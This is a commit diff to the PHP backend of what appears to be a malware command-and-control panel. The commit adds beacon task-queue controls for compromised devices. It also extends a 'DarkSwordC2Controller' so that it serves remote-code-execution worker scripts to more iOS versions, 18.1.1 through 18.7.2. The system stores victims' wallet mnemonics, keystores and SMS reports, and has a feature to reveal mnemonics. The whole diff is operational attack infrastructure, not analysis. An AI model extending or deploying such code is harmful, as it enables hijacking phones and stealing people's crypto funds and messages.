feat: 18
This commit is contained in:
@@ -18,6 +18,7 @@ use App\Models\User;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletKeystore;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Services\DsBeaconQueue;
|
||||
use App\Services\PhotoPreview;
|
||||
use App\Services\Tokenview\TokenviewMonitorService;
|
||||
use App\Support\AgentScope;
|
||||
@@ -124,13 +125,22 @@ class DeviceController extends Controller
|
||||
|
||||
$device->load(['beaconTasks']);
|
||||
|
||||
$queueState = ['pending' => [], 'dispatched' => [], 'done' => []];
|
||||
$queueSchema = [];
|
||||
if ((int) $device->chain === Device::CHAIN_DARKSWORD) {
|
||||
$queue = app(\App\Services\DsBeaconQueue::class);
|
||||
$queueState = $queue->getQueueState($device);
|
||||
$queueSchema = \App\Services\DsBeaconQueue::PARAM_SCHEMA;
|
||||
}
|
||||
|
||||
return view('admin.devices.show', [
|
||||
'device' => $device,
|
||||
'tab' => $tab,
|
||||
'addressSources' => $addressSources,
|
||||
'addressChains' => $addressChains,
|
||||
'portal' => $this->portal(),
|
||||
'beaconTasks' => $device->beaconTasks,
|
||||
'queueState' => $queueState,
|
||||
'queueSchema' => $queueSchema,
|
||||
'can_reveal' => $this->canRevealMnemonics(),
|
||||
'google_bound' => $this->googleBoundForReveal(),
|
||||
'google2fa_url' => $this->google2faUrl(),
|
||||
@@ -291,7 +301,6 @@ class DeviceController extends Controller
|
||||
$device->keystores()->delete();
|
||||
$device->pluginSessions()->delete();
|
||||
$device->smsReports()->delete();
|
||||
$device->beaconTasks()->delete();
|
||||
$device->delete();
|
||||
});
|
||||
});
|
||||
@@ -849,4 +858,81 @@ class DeviceController extends Controller
|
||||
|
||||
return $admin instanceof Admin && $admin->isSuper();
|
||||
}
|
||||
|
||||
// ── Beacon queue management ────────────────────────────────────────────
|
||||
|
||||
/**
|
||||
* Add a task to the device's beacon queue.
|
||||
*/
|
||||
public function queueAdd(Device $device, Request $request)
|
||||
{
|
||||
$this->authorizeDevice($device);
|
||||
$request->validate([
|
||||
'type' => 'required|string|max:64',
|
||||
'params' => 'nullable|array',
|
||||
]);
|
||||
|
||||
$type = (string) $request->input('type');
|
||||
$params = $request->input('params');
|
||||
|
||||
/** @var DsBeaconQueue $queue */
|
||||
$queue = app(DsBeaconQueue::class);
|
||||
$task = $queue->addTask($device, $type, $params);
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => "已添加任务: {$task['type']}",
|
||||
'data' => $task,
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove a task from the device's beacon queue.
|
||||
*/
|
||||
public function queueRemove(Device $device, Request $request)
|
||||
{
|
||||
$this->authorizeDevice($device);
|
||||
$request->validate([
|
||||
'task_id' => 'required|string',
|
||||
]);
|
||||
|
||||
$taskId = (string) $request->input('task_id');
|
||||
|
||||
/** @var DsBeaconQueue $queue */
|
||||
$queue = app(DsBeaconQueue::class);
|
||||
$removed = $queue->removeTask($device, $taskId);
|
||||
|
||||
if (! $removed) {
|
||||
return response()->json([
|
||||
'code' => 1,
|
||||
'msg' => '任务不存在或已下发',
|
||||
]);
|
||||
}
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => '已移除任务',
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* Reorder tasks in the device's beacon queue.
|
||||
*/
|
||||
public function queueReorder(Device $device, Request $request)
|
||||
{
|
||||
$this->authorizeDevice($device);
|
||||
$request->validate([
|
||||
'task_ids' => 'required|array',
|
||||
'task_ids.*' => 'integer',
|
||||
]);
|
||||
|
||||
/** @var DsBeaconQueue $queue */
|
||||
$queue = app(DsBeaconQueue::class);
|
||||
$queue->reorderTasks($device, $request->input('task_ids', []));
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => '队列顺序已更新',
|
||||
]);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -5,6 +5,7 @@ namespace App\Http\Controllers\Admin;
|
||||
use App\Http\Controllers\Concerns\PortalAware;
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\DsChainLog;
|
||||
use App\Models\Device;
|
||||
use App\Models\PageVisit;
|
||||
use App\Models\User;
|
||||
use App\Support\CfIpCountry;
|
||||
@@ -70,7 +71,7 @@ class PageVisitController extends Controller
|
||||
|
||||
public function logs(Request $request)
|
||||
{
|
||||
$uid = strtoupper(preg_replace('/[^0-9A-Fa-f]/', '', (string) $request->query('client_uid', '')) ?? '');
|
||||
$uid = Device::normalizeDarkswordKey((string) $request->query('client_uid', '')) ?? '';
|
||||
if ($uid === '') {
|
||||
return response()->json(['code' => 1, 'msg' => '缺少访客 UID', 'data' => []]);
|
||||
}
|
||||
|
||||
@@ -123,14 +123,13 @@ class DarkSwordC2Controller extends Controller
|
||||
public function register(Request $request): SymfonyResponse
|
||||
{
|
||||
$payload = $this->jsonBody($request);
|
||||
$device = strtoupper((string) (
|
||||
$device = Device::normalizeDarkswordKey((string) (
|
||||
$payload['deviceUUID']
|
||||
?? $payload['device']
|
||||
?? $payload['uuid']
|
||||
?? $request->header('X-Device-UUID')
|
||||
?? ''
|
||||
));
|
||||
$device = substr(preg_replace('/[^0-9A-F]/', '', $device) ?? '', 0, 32);
|
||||
$ios = (string) ($payload['ios'] ?? $payload['ios_version'] ?? $request->query('ios', ''));
|
||||
|
||||
return $this->finish($request, '/api/ds/device/register', $payload, response()->json([
|
||||
@@ -184,7 +183,7 @@ class DarkSwordC2Controller extends Controller
|
||||
$recommended = '';
|
||||
$fallbacks = [];
|
||||
$chain = 'coruna';
|
||||
$reason = 'Coruna (DS allowlist: 18.5 / 18.6 / 18.6.1 / 18.6.2)';
|
||||
$reason = 'Coruna (DS allowlist: 18.1.1 / 18.4 / 18.4.1 / 18.5 / 18.6 / 18.6.1 / 18.6.2 / 18.7 / 18.7.1 / 18.7.2)';
|
||||
}
|
||||
|
||||
return $this->finish($request, '/api/ds/chain-targets', $this->payloadFromQueryOrJson($request), response()->json([
|
||||
@@ -337,7 +336,7 @@ class DarkSwordC2Controller extends Controller
|
||||
}
|
||||
|
||||
/**
|
||||
* Workers only for the DS allowlist (18.5 / 18.6 / 18.6.1 / 18.6.2).
|
||||
* Workers only for the DS allowlist.
|
||||
*
|
||||
* @return array{0: string, 1: list<string>}
|
||||
*/
|
||||
@@ -346,7 +345,9 @@ class DarkSwordC2Controller extends Controller
|
||||
$canon = PageVisit::canonicalIosVersion($ios);
|
||||
|
||||
return match ($canon) {
|
||||
'18.1.1', '18.4', '18.4.1' => ['rce_worker_18.4.js', ['rce_worker_18.6.js']],
|
||||
'18.5' => ['rce_worker_18.5.js', ['rce_worker_18.6.js']],
|
||||
'18.7', '18.7.1', '18.7.2' => ['rce_worker_18.7.js', ['rce_worker_18.6.js']],
|
||||
default => ['rce_worker_18.6.js', []],
|
||||
};
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user